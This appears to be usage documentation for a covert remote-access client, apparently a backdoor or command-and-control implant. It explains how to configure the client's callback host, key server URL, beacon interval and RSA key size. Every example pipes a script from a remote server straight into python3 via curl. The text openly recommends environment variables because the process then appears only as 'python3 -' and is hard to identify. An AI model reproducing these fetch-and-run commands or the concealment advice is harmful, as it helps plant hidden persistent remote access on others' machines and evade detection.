As you may have noticed reading the precompiled scripts section, the client binary allows configuration options to be passed in a number of ways. The first thing it will look for, for any given option, is a specifically-named environment variable, as this will not be visible in the process name. Failing this, the client will try less subtle approaches, looking for positional command-line arguments, prompting the standard input, and finally falling back to a preset default value (which you may find it useful to alter the script in order to tweak if you don't want to pass anything in through the alternative methods.) Generally your run command will look something like:

curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -

This has the distinct advantage as only showing up as python3 - in the process list, which leaves precious little to identify what it is actually doing. For this reason, environment variable input is highly recommended.

HDB URL

Unless your server is using the default server key (not recommended), you will need to specify a URL from which the server's public RSA key can be fetched. The format of this file can be found in the Hosts Database section of the documentation.

Environment Variable Name: HDB

Command-Line Argument Order: first

Default Value: https://war.cflems.net/hosts.json

Usage:

curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -

TCP Host

This is the TCP host to which your client will attempt to connect at a specified interval. You will most invariably want to specify or recode this parameter. Port number is optional and specified with a colon in the hostname.

Environment Variable Name: HOST

Command-Line Argument Order: second

Default Value: sek.cflems.net:2236

Usage:

curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -

Time to Sleep

This is the interval at which the client will wake up and attempt to establish a connection to the remote server, if it does not succeed immediately. Unit is seconds.

Environment Variable Name: TTS

Command-Line Argument Order: third

Default Value: 1800 (30 minutes)

Usage:

curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -

RSA Bits

Can be used to turn down the bits used for RSA keys and messages for faster operation at the expense of security. Needs to be synced between the client and server. I recommend leaving this value alone.

Environment Variable Name: BITS

Command-Line Argument Order: fourth

Default Value: 4096

Usage:

curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -